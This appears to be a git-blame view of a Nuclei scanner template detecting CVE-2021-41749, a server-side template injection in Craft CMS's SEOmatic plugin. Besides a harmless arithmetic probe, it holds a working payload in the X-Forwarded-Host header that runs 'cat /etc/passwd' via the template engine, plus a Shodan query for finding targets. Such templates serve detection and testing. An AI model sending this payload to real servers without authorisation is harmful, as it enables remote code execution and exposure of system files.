2023-10-12 10:53:59 +00:00
id : CVE-2021-41749
info :
name : CraftCMS SEOmatic - Server-Side Template Injection
2023-10-12 11:04:02 +00:00
author : iamnoooob,ritikchaddha
2023-10-12 10:53:59 +00:00
severity : critical
description : |
2023-10-12 11:04:02 +00:00
In the SEOmatic plugin up to 3.4.11 for Craft CMS 3, it is possible for unauthenticated attackers to perform a Server-Side. Template Injection, allowing for remote code execution.
2023-10-12 10:53:59 +00:00
reference :
- https://github.com/nystudio107/craft-seomatic/commit/3fee7d50147cdf3f999cfc1e04cbc3fb3d9f2f7d
- https://nvd.nist.gov/vuln/detail/CVE-2021-41749
2023-10-14 11:27:55 +00:00
- https://github.com/nystudio107/craft-seomatic/blob/develop/CHANGELOG.md
2023-10-12 10:53:59 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
2023-10-14 11:27:55 +00:00
cve-id : CVE-2021-41749
2023-10-12 10:53:59 +00:00
cwe-id : CWE-94
2024-01-14 13:49:27 +00:00
epss-score : 0.52531
epss-percentile : 0.97293
2023-10-14 11:27:55 +00:00
cpe : cpe:2.3:a:nystudio107:seomatic:*:*:*:*:*:craft_cms:*:*
2023-10-12 10:53:59 +00:00
metadata :
verified : true
2023-10-14 11:27:55 +00:00
max-request : 2
vendor : nystudio107
product : seomatic
framework : craft_cms
2023-10-12 10:53:59 +00:00
shodan-query: 'X-Powered-By : Craft CMS html:"SEOmatic"'
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,craftcms,cms,ssti,nystudio107,craft_cms
2023-10-12 10:53:59 +00:00
variables :
num1 : "{{rand_int(40000, 44800)}}"
num2 : "{{rand_int(40000, 44800)}}"
result : "{{to_number(num1)*to_number(num2)}}"
marker : "{{randstr}}"
http :
- raw :
- |+
GET / HTTP/1.1
Host : {{Hostname}}
X-Forwarded-Host : {{Hostname}}/{{marker}}{{{{num1}}*{{num2}}}}
Cache-Control : max-age=0
- |+
GET / HTTP/1.1
Host : {{Hostname}}
X-Forwarded-Host : xxx{{['cat /etc/passwd']|filter('system')}}bbb
Cache-Control : max-age=0
2023-10-12 11:04:02 +00:00
skip-variables-check : true
2023-10-12 10:53:59 +00:00
stop-at-first-match : true
redirects : true
max-redirects : 2
matchers :
2023-10-13 08:28:39 +00:00
- type : dsl
dsl :
- 'contains(body_1, "/{{marker}}{{result}}") || regex("root:.*:0:0:", body_2)'
- 'contains_any(body, "Craft CMS", "SEOmatic" ,"CRAFT_CSRF")'
- 'status_code == 200'
condition : and
2024-01-14 14:05:19 +00:00
# digest: 4b0a00483046022100d69b5c883b7c90d833152936e75c2a06bf05af575062223c9800b2cdd7c4b200022100a473ec4983d8f0c3852af8fd10d652b9ac7185d34b98a8d7c850a6f0823f7607:922c64590222798bb761d5b6d8e72950